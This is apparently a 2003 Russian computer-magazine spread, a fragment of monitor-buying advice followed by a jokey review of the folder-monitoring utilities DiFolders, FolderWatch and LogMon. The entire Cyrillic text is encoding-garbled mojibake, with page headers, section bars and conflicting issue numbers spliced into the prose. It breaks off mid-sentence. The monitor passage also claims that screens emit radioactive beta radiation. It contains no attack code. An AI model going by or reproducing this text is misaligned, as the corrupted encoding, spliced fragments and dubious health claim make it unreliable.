îäíîìó êîìïüþòåðó ÷åðåç ñïåöèàëüíûé<br />
õàá – â ðåçóëüòàòå èçîáðàæåíèå<br />
âûãëÿäèò ðàçìûòûì è íåêà-<br />
÷åñòâåííûì – îá ýòîì, ñîáñòâåííî,<br />
è ãîâîðÿò êîíñóëüòàíòû. Îáÿçàòåëüíî<br />
ïîïðîñè îòäåëüíî ïîäêëþ÷èòü<br />
ìîíèòîð ê êîìïüþòåðó,<br />
÷òîáû òû ìîã íîðìàëüíî îáñëåäîâàòü<br />
ïîíðàâèâøóþñÿ ìîäåëü íà<br />
ïðåäìåò èñêàæåíèé.<br />
Õîðîøèé ìîíèòîð äîëæåí èìåòü<br />
àíòèñòàòè÷åñêîå è àíòèáëèêîâîå<br />
ïîêðûòèå – ýòî î÷åíü ïðèÿòíî,<br />
êîãäà ðàáîòå çà êîìïüþòåðîì íå<br />
ìåøàþò áëèêè, è ê äèñïëåþ íå<br />
ïðèëèïàåò ïûëü, à ïðè ïðèêîñíîâåíèè<br />
ê ïîâåðõíîñòè ýêðàíà íå<br />
ðàçäàåòñÿ òðåñê ñòàòè÷åñêîãî<br />
ýëåêòðè÷åñòâà. Âñå âûïóñêàåìûå<br />
ìîíèòîðû ïðîõîäÿò àòòåñòàöèþ<br />
íà ñîîòâåòñòâèå ýêîëîãè÷åñêèì<br />
íîðìàì – òàê íàçûâàåìûì ñòàíäàðòàì<br />
ÒÑÎ. Òóò, âîïðåêè îæèäàíèÿì,<br />
óñåðäñòâîâàòü, ïåðåïëà÷èâàÿ<br />
ëèøíèå äåíüãè, íå ñëåäóåò –<br />
äîïóñòèìûå óðîâíè èçëó÷åíèÿ â<br />
ñòàíäàðòàõ ÒÑÎ92, 95 è 99 îäèíàêîâû,<br />
ðàçëè÷àþòñÿ ëèøü íå<br />
âëèÿþùèå ïðÿìî íà òâîå çäîðîâüå<br />
ïàðàìåòðû, òðàòèòü äåíüãè<br />
íà êîòîðûå åäâà ëè ñòîèò.<br />
Ðàáîòàþùèé ìîíèòîð èçëó÷àåò äîâîëüíî â áîëüøîì ñïåêòðå: ýòî è<br />
ðåíòãåíîâñêèå ëó÷è, è èíôðàêðàñíûé äèàïàçîí, è ðàäèîàêòèâíîå áåòàèçëó÷åíèå,<br />
è ýëåêòðîñòàòè÷åñêèå ïîëÿ. Òàê ÷òî âðà÷è íå ðåêîìåíäóþò<br />
äîëãî ñèäåòü ïåðåä ìîíèòîðîì. Åñëè æå ýòî òâîÿ ðàáîòà, ñòàðàéñÿ äåëàòü<br />
ïåðåðûâû, ÷òîáû äàòü ãëàçàì îòäîõíóòü, è áîëüøå íàõîäèñü íà<br />
ñâåæåì âîçäóõå äî è ïîñëå ðàáîòû. Ýòî ñåðüåçíî, ýòî òâîå çäîðîâüå.<br />
Îáû÷íî ïðè îïèñàíèè õàðàêòåðèñòèê ìîíèòîðà, óêàçûâàÿ ïàðàìåòð Dot<br />
Pitch – “çåðíî ýêðàíà”, ïðîèçâîäèòåëü èëè ïðîäàâåö îïóñêàåò èíôîðìàöèþ<br />
î òèïå öâåòîäåëèòåëüíîé ìàñêè – à â ðàçíûõ ìàñêàõ ïîä ýòèì ïàðàìåòðîì<br />
ïîíèìàþòñÿ íåìíîãî ðàçíûå âåëè÷èíû, òàê ÷òî ïðè ïîêóïêå ìîíèòîðà îáÿçàòåëüíî<br />
âûÿñíè, êàêîãî òèïà èñïîëüçóåòñÿ öâåòîäåëèòåëüíàÿ ìàñêà.<br />
5 Þíèêñîèä 6 X-Còèëü 7
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
PC_Zone<br />
ÍÀÊÎÏÈÒÅËÈ ÔÀÉËÎÂ<br />
ÍÀÊÎÏÈÒÅËÈ<br />
A.P.$lasH<br />
ÑÀÌ ÑÅÁÅ<br />
(ap-slash@tfs.kiev.ua)<br />
ÈÌÈÒÀÒÎÐ<br />
ÔÀÉËÎÂ<br />
- Çíàëè áû âû, êàêàÿ ó ìåíÿ òÿæåëàÿ ðàáîòà.<br />
- Ìàìà äîðîãàÿ... È ãäå æå âû ðàáîòàåòå<br />
- Íà êîíâåéåðå. ß ñîðòèðóþ àïåëüñèíû. Ãíèëûå<br />
- â îäíó áî÷êó, ñâåæèå - â äðóãóþ.<br />
- È âû íàçûâàåòå ýòî ðàáîòîé<br />
- Îé, äà ÷òî âû ïîíèìàåòå ß ïîñòîÿííî âûíóæäåí<br />
ïðèíèìàòü îòâåòñòâåííûå ðåøåíèÿ.<br />
È òàê êàæäûé äåíü. Kazaa, WinMX, áðàóçåð... Ó êàæäîãî èç íèõ åñòü îòäåëüíàÿ ïàïêà, â êîòîðóþ íåïðåðûâíûì ïîòîêîì<br />
ïàäàåò áåñöåííûé ñîôò è ãåíèàëüíàÿ ìóçûêà. Íè â ÷åì íå ïîâèííûå êàòàëîãè ðàçðîñëèñü äî àáñîëþòíîãî íåïðèëè-<br />
÷èÿ. Ýëåìåíòàðíàÿ ïðîñüáà íàéòè â ýòîì áåäëàìå ïðèãëÿíóâøóþñÿ MP3’øêó ïåðåäàåòñÿ â òâîåé ñåìüå ïî íàñëåäñòâó.<br />
Íåîáõîäèìî êàê ìîæíî ñêîðåå ïðèíÿòü ìåðû è ïðèâåñòè â ïîðÿäîê ñâîþ êîëëåêöèþ. Ïîëóîáíàæåííàÿ êèòàéñêàÿ ñëóæàíêà<br />
íà âñå ýòî âðåìÿ îáîéäåòñÿ íå äåøåâëå êóêóðóçíèêà, äàæå åñëè ñëóæàíêó ìû áåðåì áåç ìàññàæà è êîëûáåëüíîé.<br />
 ëþáîì ñëó÷àå, ýòîò âàðèàíò îòáðàñûâàåì. Áóäåì èñêàòü äåøåâîãî, íî ñîçíàòåëüíîãî ýëåêòðîííîãî àññèñòåíòà.<br />
ÑÏÎÑÎÁÛ ÀÂÒÎÌÀÒÈ×ÅÑÊÎÉ ÑÎÐÒÈÐÎÂÊÈ<br />
<br />
DiFolder - îòñþäà è íà÷íåì<br />
Âîçìîæíî, ÿ íåïðàâ (ïóñòü áîëåå îïûòíûå òîâàðèùè<br />
ìåíÿ ïîïðàâÿò), îäíàêî ìíå êàæåòñÿ, ÷òî óäàëûå ïðîãðàììèñòû<br />
èç DiFolders Software ÷åñòíî çàñëóæèëè ÿùèê<br />
ïîðòâåéíà çà ñîçäàíèå èíòåðôåéñà ê ñâîåìó äåòèùó.<br />
Êðóæîê èíôîðìàòèêè çàõâàòèëè áåçæàëîñòíûå òåððîðèñòû<br />
ñ ïîëèãðàôè÷åñêîãî ôàêóëüòåòà. Èìåííî òàêèì ÿ<br />
ïðåäñòàâëÿë ñåáå âíåøíèé âèä ïðîãðàììû, ñîçäàííîé<br />
âûæèâøèìè ïîñëå ïîäîáíîãî ïåðäèìîíîêëÿ (ïðèâåò<br />
Ýêñëåðó). È ýòî ïðè òîì, ÷òî íàïèñàíà óòèëèòà íà ÷èñòîì<br />
Delphi, â êîòîðîì íîâè÷êà ïîñòîÿííî ñîáëàçíÿþò<br />
ôðèâàðíûìè êîìïîíåíòàìè. À âåäü ýòî ðàâíîñèëüíî<br />
çàòî÷åíèþ â êîíäèòåðñêîé ëàâêå. ×åðåç ïàðó ìåñÿöåâ<br />
òåáÿ òàê ðàçáýõàåò... Íè â îäèí ÊÄ ÏÇÓ íå ïðîëåçåøü.<br />
Áåç øóòîê, èíòåðôåéñ ãðàìîòíûé. Ðàáîòàòü ñ DiFolders<br />
- îäíî óäîâîëüñòâèå. Ýòî íå The Bat!, â êîòîðîì ïîëüçîâàòåëü<br />
ïÿòíàäöàòü ìèíóò ëîìàåò ãîëîâó íàä òåì, ïî-<br />
÷åìó SMIME Preferences íàõîäèòñÿ â Options, à PGP<br />
Preferences - â Tools. Íà ýêðàíå - íåîáõîäèìûé è òùàòåëüíî<br />
ïðîäóìàííûé ìèíèìóì. Åäèíñòâåííûé ëèøíèé<br />
ïóíêò, êîòîðûé ÿ îáíàðóæèë, ýòî "Enter Registration<br />
Code...". Ñîîáùèòü ðàçðàáîò÷èêàì, ÷òî ëè Íàâåðíîå,<br />
èç îòëàäî÷íîé âåðñèè çàáûëè óáðàòü.<br />
DiFolder - êðàñîòà ñïàñåò ìèð<br />
28 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Èòàê, âåðíåìñÿ ê íàøèì ôàéëàì. Ñîçäàòåëè ïðîãðàììû<br />
- òàêòè÷íûå ðåáÿòà è ñòåñíÿþòñÿ íàçûâàòü âåùè<br />
ñâîèìè èìåíàìè, ïîýòîìó âìåñòî "ïàïêà ñ êó÷åé âñÿêîãî<br />
õëàìà" îíè ãîâîðÿò "DiFolder". Òàêîé ñåáå ñïåöèàëüíûé<br />
òåðìèí. Îòñþäà è íàçâàíèå ïðîãðàììû - DiFolders,<br />
ðàáîòà ñ êîòîðûìè çàêëþ÷àåòñÿ â ñîçäàíèè îïðåäåëåííîãî<br />
íàáîðà ïðàâèë. Êàæäîå ïðàâèëî ñîîòâåòñòâóåò<br />
óêàçàííîìó êàòàëîãó íà òâîåì âèí÷åñòåðå. Îíî ñðàáàòûâàåò<br />
ïðè ñìåíå ñîäåðæèìîãî ýòîé ïàïêè, ïîñëå çàïóñêà<br />
è ïåðåä âûõîäîì èç ïðîãðàììû, à òàêæå ïî òàéìåðó,<br />
÷åðåç îïðåäåëåííûå ïðîìåæóòêè âðåìåíè. Íà<br />
ëþáîå ïðàâèëî ìîæíî íàâåñèòü öåëóþ ñâÿçêó óñëîâèé ñ<br />
ìàñêàìè äëÿ ôàéëîâ, ïîäëåæàùèõ ñîðòèðîâêå. Êàê æå<br />
ýòî áåçîáðàçèå ðàáîòàåò Ñìîòðè... Êàê òîëüêî èçìåíÿåòñÿ<br />
ñîäåðæèìîå êàòàëîãà (÷òî-òî äîáàâèëè, ÷òî-òî<br />
óäàëèëè... ïî-âñÿêîìó áûâàåò), ñòàðòóåò íàçíà÷åííîå<br />
äëÿ íåãî ïðàâèëî. Äàëåå DiFolders ïðîâåðÿåò, íå âàëÿþòñÿ<br />
ëè â ýòîì êàòàëîãå ôàéëû, ìàñêè äëÿ êîòîðûõ òû<br />
çàáîòëèâî íàáèðàë â óñëîâèÿõ. Âàëÿþòñÿ Îé-âýé, öâåòåì<br />
è ïàõíåì. Âûïîëíÿåòñÿ ñîîòâåòñòâóþùåå äåéñòâèå.<br />
Ôàéëû ìîæíî ñêîïèðîâàòü, ïåðåìåñòèòü èëè óäàëèòü.<br />
Íàçíà÷åíèå ïîñëåäíåãî äåéñòâèÿ (Nothing) ÿ òàê è íå<br />
ïîíÿë. ×åì-òî íàïîìèíàåò êâàäðàò Ìàëåâè÷à. Âïðî÷åì,<br />
íå èñêëþ÷åíî, ÷òî ñ åãî ïîìîùüþ ìîæíî ïðîñòî âðåìåííî<br />
îòêëþ÷èòü íåíóæíîå ïðàâèëî. Ðàçóìååòñÿ, íå ñ<br />
ïîìîùüþ êâàäðàòà, íî ðå÷ü íå îá ýòîì.<br />
Èíòåðåñíàÿ îñîáåííîñòü ôàéëîâîé ìàñêè - ïîìèìî<br />
ñòàíäàðòíûõ * è , ïîçâîëÿþùèõ ðåãóëèðîâàòü êîëè-<br />
÷åñòâî ïðîèçâîëüíûõ ñèìâîëîâ, â ïðîãðàììå ïðåäóñìîòðåíû<br />
òàê íàçûâàåìûå äèàïàçîíû. Íàïðèìåð,<br />
ñòðîêà [f-h]*ker.zip íàéäåò âñå ôàéëû, ó êîòîðûõ ïåðâàÿ<br />
áóêâà f,g èëè h, è êîòîðûå çàêàí÷èâàþòñÿ íà ker.<br />
Íà ÷òî çàêàí÷èâàþòñÿ Âîò èìåííî. Âîçìîæíûå âàðèàíòû<br />
ïðèäóìàé ñàìîñòîÿòåëüíî. Îñòàëîñü óêàçàòü<br />
ïóíêò íàçíà÷åíèÿ (Destination file). È çäåñü íå îáîøëîñü<br />
áåç ïîëåçíûõ ñþðïðèçîâ. Â íàçâàíèå öåëåâîé<br />
ïàïêè ìîæíî äîáàâèòü ìàêðîñû. Åñòü âïîëíå çàêîíîìåðíûå<br />
- %name% (èìÿ èñõîäíîãî ôàéëà áåç ðàñøèðåíèÿ),<br />
%ext% (åãî ðàñøèðåíèå), %path% (ïóòü), à<br />
åñòü è íåñêîëüêî, êàê áû ýòî ñêàçàòü... ïðè÷óäëèâûõ.<br />
Íàïðèìåð, åñëè òû ñîáðàëñÿ êîïèðîâàòü MP3-ôàéëû,<br />
èñïîëüçóé %mp3title% (íàçâàíèå), %mp3artist% (àâòîð),<br />
%mp3album% (àëüáîì) è ò.ä. Html-ñòðàíèöó òîæå<br />
íå îáèäåëè - %htmltitle% äîáàâèëè. Ýòî åå çàãîëîâîê,<br />
ñêîðåå âñåãî. Äà, äåéñòâèòåëüíî. Â ñïðàâêå òàê è<br />
íàïèñàíî. È ïðî ìíîãîÿçû÷íûé èíòåðôåéñ íå çàáûëè,<br />
õîòÿ ìíîãî íàì è íå íóæíî - âïîëíå õâàòèò ðóññêîãî.<br />
À åñëè çàþçàòü \\Server\users\docs\my-<br />
%name%.%ext% Îíà åùå è ïî ñåòè áåãàòü óìååò. Êàê<br />
ãîâîðèòñÿ, ìíå áû òàêóþ ïðîãðàììó, ÿ áû â èíñòèòóò<br />
íå õîäèë. Æàëü, ÷òî óæå è òàê íå íóæíî.<br />
Äîìàøíÿÿ ñòðàíèöà ïðîãðàììû<br />
http://logmon.bitrix.ru/logmon/eng<br />
Ïðÿìàÿ ññûëêà íà àðõèâ ïðîãðàììû<br />
http://logmon.bitrix.ru/logmon/files/LOGMON.ZIP<br />
Âñå-òàêè èíòåðåñíî èíîãäà ïî÷èòàòü ñïðàâî÷íûå ôàéëû.<br />
Îñîáåííî ðàçäåë, â êîòîðîì ðàñïèñàíî ïðåäíàçíà-<br />
÷åíèå òîé èëè èíîé ïðîãðàììû. FolderWatch è<br />
DiFolders, ÷òî íàçûâàåòñÿ, "â îäèí ñàäèê õîäèëè" -<br />
î÷åíü óæ ïîõîæè ýòè äâå ïðèáëóäû, îäíàêî öåëè ó ðàçðàáîò÷èêîâ<br />
áûëè ðàçíûå. Ðàçãðåáàòü õëàì â êàòàëîãàõ<br />
Íå áàðñêîå ýòî äåëî. Ìàñòåðà èç Diginaut Ltd. ìåäèòèðîâàëè<br />
íà ôðàçó "ðåçåðâíîå êîïèðîâàíèå". Íàïðèìåð,<br />
òåáÿ çîâóò Ñåðãåé Ëóêüÿíåíêî (Ñàìóèë Ìàðøàê, Àãíèÿ<br />
Áàðòî), è òû íàáèâàåøü î÷åðåäíóþ íåòëåíêó â ñòàíäàðòíîì<br />
áëîêíîòå. Ìåäèòèðóåì âìåñòå. Çàïåâàé: "Îììàíè-ïàäìý-õóìì...<br />
Îì-ìàíè...". Î ÷åì ýòî ÿ Àõ, äà.<br />
Ðàçâå â íàñòðîéêàõ ýòîé ÷óìîâîé óòèëèòû åñòü àâòîìàòè÷åñêîå<br />
ñîõðàíåíèå ðåçåðâíîé êîïèè È ôàéëû âèäà<br />
Book1.bak, Book2.bak, Book3.bak îíà òåáå íå ñîçäàñò,<br />
õîòü òû êîñòüìè ëÿæåøü. À âåäü ýòî îñíîâà îñíîâ. Òîëêîâûå<br />
ñëîâàðè íàçûâàþò òàêèå ôîêóñû incremental<br />
backup. Áåç íåãî òû îáðå÷åí íà ïîæèçíåííûå "Ìåðòâûå<br />
äóøè 2" è öåëèêîì çàâèñèøü îò ýëåêòðèêîâ. À Diginaut<br />
Ltd. ïîäñóåòèëàñü... È âåäü ïîëó÷èëîñü. Ðàçâå ÷òî ñî<br />
ñïëåøñêðèíîì ïðîãàäàëè. "Òðàôàðåò ðàñïóõøåé ñîáà÷êè<br />
÷àó-÷àó íà ñòåíå öåìåíòíîãî çàâîäà (çóáèëî, æåëòàÿ<br />
êðàñêà)". Íî ÿ òåáÿ óìîëÿþ, ýòî æå îòêëþ÷àåòñÿ.<br />
DiFolder - íîâîå ïðàâèëî<br />
<br />
FolderWatch - îáèòåëü áëèæàéøåãî ñîñåäà<br />
FolderWatch - àíãåë-õðàíèòåëü äåòåêòèâîâ<br />
Ìàðèíèíîé<br />
Îñíîâíûå ïðèíöèïû ðàáîòû ñ ïðîãðàììîé íè÷åì íå îòëè÷àþòñÿ<br />
îò DiFolders, òàê ÷òî ïî âòîðîìó ðàçó ïîâòîðÿòüñÿ<br />
íå áóäåì. Âñå òîò æå êîíòðîëü íàä èçìåíåíèåì<br />
ñîäåðæèìîãî ëþáîé ïàïêè, âñå òå æå ïðàâèëà. Ïîãîâîðèì<br />
î ðàçëè÷èÿõ è íà÷íåì, ðàäè ðàçíîîáðàçèÿ, ñ íåäîñòàòêîâ.<br />
Èç ñïèñêà âîçìîæíûõ äåéñòâèé ïðîïàë ïóíêò<br />
Delete. È êàê òåïåðü óäàëÿòü ôàéëû Íàïðèìåð, òðèæäû<br />
çíàìåíèòûé Restorator (ïîìíèøü òàêîé ðåäàêòîð ðåñóðñîâ)<br />
óïðÿìî ñîçäàåò â ñâîåì êàòàëîãå íàáîð<br />
ñïðàâî÷íûõ ôàéëîâ – HTML-ñòðàíèöû êèëîáàéò íà<br />
400. Çà÷åì ß æå åãî âñå ðàâíî íå ÷èòàþ. Íå ïî-
PC_Zone<br />
ÕÀÊÅÐ\¹51\Ìàé\2003<br />
ÍÀÊÎÏÈÒÅËÈ ÔÀÉËÎÂ<br />
A.P.$lasH (ap-slash@tfs.kiev.ua)<br />
íèìàåò. Òàê âîò, DiFolders ëåãêî óäàëÿë âñå ýòî áåçîáðàçèå.<br />
 ïðèíöèïå, ìîæíî è â Recycled ïåðåìåñòèòü, íî<br />
âåäü íåóäîáíî æå. Êîðçèíó åùå ÷èñòèòü íóæíî, è íå<br />
ôàêò, ÷òî íà òâîåé ìàøèíå ýòî ïðîèñõîäèò àâòîìàòè÷åñêè.<br />
ßçûê èíòåðôåéñà áåç õèðóðãè÷åñêîãî âìåøàòåëüñòâà<br />
èçìåíèòü íåâîçìîæíî, òàê ÷òî ïëàêàòèê ñ íàäïèñüþ<br />
"Ìàÿ òâàÿ íè â çóá íîãîé" îíè ìîãóò ñìåëî ïîâåñèòü íà<br />
äâåðè ó âõîäà â ñàìûé ãëàâíûé îôèñ. Íåäîñòàòîê íîìåð<br />
ñëåäóþùèé (è õâàòèò íà ñåãîäíÿ) â òîì, ÷òî ñïèñêè ïðàâèë<br />
ó FolderWatch íå ìíîãîñëîéíûå (êàòàëîã + ñïèñîê<br />
ôàéëîâûõ ìàñîê), à îäèíàðíûå (îäèí ïàïêà - îäèí ìàñêà).<br />
Ñîîòâåòñòâåííî, ñ îòäûõîì ïîëîñå ïðîêðóòêè ãëàâíîãî<br />
îêíà ïðîãðàììû îïðåäåëåííî íå ïîïåðëî.<br />
FolderWatch - çàðÿæàåì ïðàâèëî<br />
 îñòàëüíîì ïðåòåíçèé íåò, îñòàëèñü îäíè äîñòîèíñòâà.<br />
FolderWatch èíòåãðèðóåòñÿ â ïðîâîäíèê, ïîñëå ÷åãî<br />
ñîçäàíèå íîâîãî ïðàâèëà çàíèìàåò ñ÷èòàííûå ñåêóíäû.<br />
Ñëåæåíèå çà ëþáûì êàòàëîãîì âêëþ÷àåòñÿ / âûêëþ÷àåòñÿ<br />
îäíèì ùåë÷êîì ìûøêè (è äëÿ ýòîãî ñîâñåì<br />
íå îáÿçàòåëüíî óäàëÿòü ïðàâèëî èç ñïèñêà). Êîíòåêñòíîå<br />
ìåíþ äëÿ êàæäîãî ïðàâèëà ïîçâîëÿåò îòêðûòü â<br />
ïðîâîäíèêå êàê èñõîäíóþ, òàê è öåëåâóþ ïàïêó. Çàïóñòè<br />
â ìåíÿ êàìíåì, åñëè ýòî íå çäîðîâî. (Áðîñàé, áðîñàé...<br />
Æóðíàë âñå ñòåðïèò.) Ïðîãðàììà ðàñïîëàãàåò<br />
íåïëîõèì øåäóëåðîì - ïðîâåðêó ìîæíî çàïóñêàòü åæåìèíóòíî,<br />
åæå÷àñíî, åæåäíåâíî, åæåíåäåëüíî è åæåìåñÿ÷íî.<br />
Îò ýòèõ åæåé â ãëàçàõ òåìíååò. Öåëàÿ ôåðìà.<br />
Êàê ÿ óæå ãîâîðèë, ñïèñîê ïðàâèë ó FolderWatch îäíîñëîéíûé,<br />
íî äàæå ýòîò ôàêò ïðåâðàùàåòñÿ â äîñòîèíñòâî,<br />
ò.ê. òåïåðü âñå ìàñêè, êàòàëîãè è äåéñòâèÿ - êàê<br />
íà ëàäîíè, ðàçëèíååííûå è â ñòîëáèê. Ñ DiFolders áûëî<br />
ñëîæíåå - åñëè íå îòêðîåøü ïðàâèëî íà ðåäàêòèðîâàíèå,<br />
áóäåøü äî ïîñèíåíèÿ èãðàòü â óãàäàéêó. Êñòàòè,<br />
ïîâîçèâøèñü ñ DiFolders, ÿ çàìåòèë, ÷òî è ó<br />
FolderWatch íà èíòåðôåéñå êàêîé-òî «Register» âûñêî-<br />
÷èë. ×åðò âîçüìè, íåóæåëè ýòî çàðàçíî!!<br />
Äîìàøíÿÿ ñòðàíèöà ïðîãðàììû<br />
www.diginaut.com/shareware/fw<br />
Íåáîëüøîé FAQ ïî ðàáîòå ñ óòèëèòîé (íà àíãëèéñêîì)<br />
www.diginaut.com/shareware/fw/faq.htm<br />
Óñòàíîâî÷íûé àðõèâ<br />
www.diginaut.com/shareware/fw/archive/fwatch20.zip<br />
<br />
Ïðîñòîòà, ñêðîìíîñòü è ìèíèìàëüíûé íàáîð âîçìîæíîñòåé<br />
äàëåêî íå âñåãäà ÿâëÿþòñÿ èäåàëîì þçàáèëèòè.<br />
Ïðåäñòàâü - íåîáõîäèìî óäàëèòü çóá, è òû ñèäèøü ó âðà÷à<br />
â ñîîòâåòñòâóþùåì êðåñëå. Èç ãëóáèí ñòîìàòîëîãè÷åñêîãî<br />
êàáèíåòà íà òåáÿ ñêà÷åò õðóïêàÿ ìåäñåñòðè÷êà, ðàñêðó÷èâàÿ<br />
íàä ãîëîâîé àëåáàðäó è ðû÷à "Îì-ìà-íà, èòèòüñêàÿ<br />
ñèëà!". Ê ÷åìó ýòîò ãðóáûé ïåðâîáûòíûé ïîäõîä Ãîðàçäî<br />
LogMon - îäèíîêàÿ õèæèíà<br />
ïðèÿòíåå, êîãäà ó íåå â ðóêàõ èçÿùíàÿ áîðìàøèíêà. Ñëîæíåå<br />
àëåáàðäû, íî ïîëüçû íà ïîðÿäîê áîëüøå. Ðàçóìååòñÿ,<br />
ëó÷øå òóäà âîîáùå íå õîäèòü, íî ìû îòâëåêëèñü... Òàê âîò,<br />
LogMon è åñòü òà ñàìàÿ áîðìàøèíêà. Íåò, ÿ íå õî÷ó, ÷òîáû<br />
ýòà ïðîãðàììà àññîöèèðîâàëàñü ó òåáÿ ñ íåïðèÿòíûìè<br />
âåùàìè. Ñêàæåì òàê, íà ñåãîäíÿøíèé äåíü ýòî ñàìûé<br />
óìåëûé ìîíèòîð ôàéëîâ è êàòàëîãîâ. Åñëè òû çíàêîì ñ<br />
áîëåå ôóíêöèîíàëüíîé ïðîãðàììîé èç àíàëîãè÷íîãî ñåìåéñòâà,<br />
íå ñî÷òè çà òðóä, äàé ìíå çíàòü. Íè÷åãî óäèâèòåëüíîãî<br />
â òîì, ÷òî è ýòà óòèëèòà ñîçäàâàëàñü íå òîëüêî<br />
äëÿ ÷èñòêè è ñîðòèðîâêè íàøèõ ìíîãîñòðàäàëüíûõ êàòàëîãîâ.<br />
Ïî ñëîâàì ñàìîãî àâòîðà (à êðàñèâåå â äàííîì ñëó÷àå<br />
è íå ñêàæåøü), îñíîâíîå íàçíà÷åíèå ïðîãðàììû - àâòîìàòèçèðîâàòü<br />
ðóòèííûå îïåðàöèè, îñíîâàííûå íà ôàéëîâîì<br />
îáìåíå, à òàêæå îòñëåæèâàòü ñîñòîÿíèå ïðîöåññîâ, îñíîâûâàÿñü<br />
íà èõ ôàéëîâîé àêòèâíîñòè (êîíåö öèòàòû).<br />
LogMon - à ñ ïåðâîãî âçãëÿäà è íå ñêàæåøü...<br />
LogMon - îé, à çà øî õâàòàòüñÿ, íà øî æàòü<br />
Ñêëàäûâàåòñÿ òàêîå âïå÷àòëåíèå, ÷òî àâòîð áåãàë ïî<br />
ãîðîäó ñ äèêòîôîíîì è ñïðàøèâàë: "Ìóæèêè, à êàêèå<br />
ïðèáàìáàñû ðóëÿò è ðåøàþò â ôàéëîâîì ìîíèòîðå<br />
Òàê, äëÿ ñòàòèñòèêè...". Ñðàçó âèäíà ðàçíèöà â ïîäõîäàõ.<br />
Ïðîãðàììû äëÿ äîìîõîçÿåê ïðåäëàãàþò ïîëå äëÿ<br />
ââîäà ðàçìåðîì â ïîëîâèíó ýêðàíà ñ êðóãëîé çåëåíîé<br />
êíîïêîé â âèäå ïëàñòìàññîâîé ðîìàøêè. Îá èçìåíåíèÿõ<br />
äîêëàäûâàþò áèðþçîâûé ñëîíèê è êðîêîäèë ñ äâóìÿ<br />
áàíòèêàìè. Óòèëèòû "äëÿ íàñòîÿùèõ ïðîãðàììåðîâ" ñ<br />
èíòåðôåéñîì ñòðàøíûì êàê àòîìíàÿ âîéíà âûçûâàþò<br />
çàòÿæíîé êîìàòîçíûé îáìîðîê. LogMon - çîëîòàÿ ñåðåäèíà.<br />
Êàê è â ñëó÷àå ñ FolderWatch, âûïîëíåíèå ëþáîãî<br />
ïðàâèëà ìîæíî ïðèîñòàíîâèòü êíîïêîé íà ïàíåëè<br />
èíñòðóìåíòîâ. Äàæå åñëè óñëîâèå íå âûïîëíÿåòñÿ àâòîìàòè÷åñêè,<br />
íàáîð óêàçàííûõ äåéñòâèé ñòàðòóåò ïî<br />
ïåðâîìó òâîåìó ñëîâó àíàëîãè÷íûì îáðàçîì. Åñëè ó<br />
òåáÿ 2000 èëè XP, ïðîãðàììà ñ ðàäîñòüþ îòðàáîòàåò<br />
êàê ñåðâèñ. Åñëè ïðîâåðêà âûïîëíÿåòñÿ ðåãóëÿðíî, îñòàâøååñÿ<br />
âðåìÿ âûñâå÷èâàåòñÿ íå îòõîäÿ îò êàññû, â<br />
ñàìîì ñïèñêå. Çà âîçìîæíîñòü ñîçäàíèÿ êîïèè ïðîèçâîëüíîãî<br />
ïðàâèëà ÿ ãîòîâ ñîáñòâåííîðó÷íî ñïîèòü àâòîðà<br />
(õîòÿ ïî÷òè ñîâñåì íå ïüþ). Âñå ïðàâèëà ìîæíî<br />
ñîõðàíèòü â îòäåëüíîì ôàéëå, ðàñøèðåíèå êîòîðîãî<br />
àññîöèèðóåòñÿ â ñèñòåìå ñ ñàìîé ïðîãðàììîé. Åùå<br />
åñòü âîçìîæíîñòü äîáàâèòü â ñïèñîê ðàçäåëèòåëü, ÷òîáû<br />
ðàçíûå êàòåãîðèè ïðîâåðîê íå ñìåøèâàëèñü ìåæäó<br />
ñîáîé. Ìåëî÷ü Êàêîå òàì... Î÷åíü óäîáíî. Òåïåðü ïîïðîáóåì<br />
ñî âñåé ýòîé ëàâàíäîé âçëåòåòü.<br />
Íà÷íåì ñ òîãî, ÷òî LogMon ïîçâîëÿåò íàáëþäàòü íå<br />
òîëüêî çà êàòàëîãàìè, íî è çà ôàéëàìè. Ñ ÷åãî íà÷íåì<br />
Áåç ðàçíèöû. Ñ îïöèÿìè ìîæíî èãðàòüñÿ ñêîëüêî äóøå<br />
óãîäíî. Ïðîâåðêà âûïîëíÿåòñÿ, âêëþ÷àÿ è âûêëþ÷àÿ<br />
íåîáõîäèìûå ìàñêè, íà ïðåäìåò íàëè÷èÿ/îòñóòñòâèÿ,<br />
óäàëåíèÿ/äîáàâëåíèÿ, ñ ïîäêàòàëîãàìè/â îäèíî÷êó è<br />
âñå ýòî ó÷èòûâàåòñÿ îäíîâðåìåííî. Äëÿ óêàçàíèÿ ïóòè<br />
êî âñåì ôàéëàì è êàòàëîãàì èñïîëüçóþòñÿ ìàêðîñû.<br />
Ñèñòåìíîå âðåìÿ, ëþáûå ïåðåìåííûå îêðóæåíèÿ, ïðîèçâîëüíûé<br />
òåêñò èç ôàéëà, ïîäñòðîêà è ñèìâîë ïî êîäó<br />
(ïåðåïîëíåíèå ñòåêà - ñëèøêîì äëèííûé ñïèñîê). Åñëè<br />
íåõèëàÿ ïà÷êà òâîèõ óñëîâèé âûïîëíÿåòñÿ, LogMon ïîçâîëÿåò<br />
ñîçäàòü ïåðå÷åíü ôàéëîâ, îòîáðàçèòü îêíî ñ<br />
îïîâåùåíèåì, âîñïðîèçâåñòè çâóêîâîé ôàéë, ñêîïèðîâàòü/ïåðåìåñòèòü/óäàëèòü<br />
ôàéëû, çàêðûòü îêíî ëþáîé<br />
ïðîãðàììû (ïî êðàéíåé ìåðå, ÷åñòíî è áëàãîðîäíî ïîïûòàåòñÿ<br />
ýòî ñäåëàòü). È ñàìàÿ âêóñíàÿ îñîáåííîñòü -<br />
ýòà óòèëèòà íå îãðàíè÷èâàåò òåáÿ îäíèì äåéñòâèåì äëÿ<br />
îäíîé ïðîâåðêè. Òåáå íóæíî áîëüøå Äà íà çäîðîâüå.<br />
Âîò ñïèñîê, çàïîëíÿé. Ìû æå òâîð÷åñêèå ëþäè, âåðíî<br />
Ñìóùàåò ëèøü îäíî - ïðîãðàììà óæå î÷åíü äàâíî íå<br />
îáíîâëÿëàñü. È, òåì íå ìåíåå, DiFolders è FolderWatch<br />
åùå ñëèøêîì äàëåêî, òàê ÷òî âðåìåíè íà âíåçàïíóþ<br />
ðåèíêàðíàöèþ ó àâòîðà õîòü îòáàâëÿé.<br />
Çàìåòü, â íàøåé ýëåêòðîííîé æèçíè ìàëî ÷òî èçìåíèëîñü.<br />
Âûáîð, êàê è ïðåæäå, íåïðîñòîé. ×òî ìîæíî ïîñîâåòîâàòü<br />
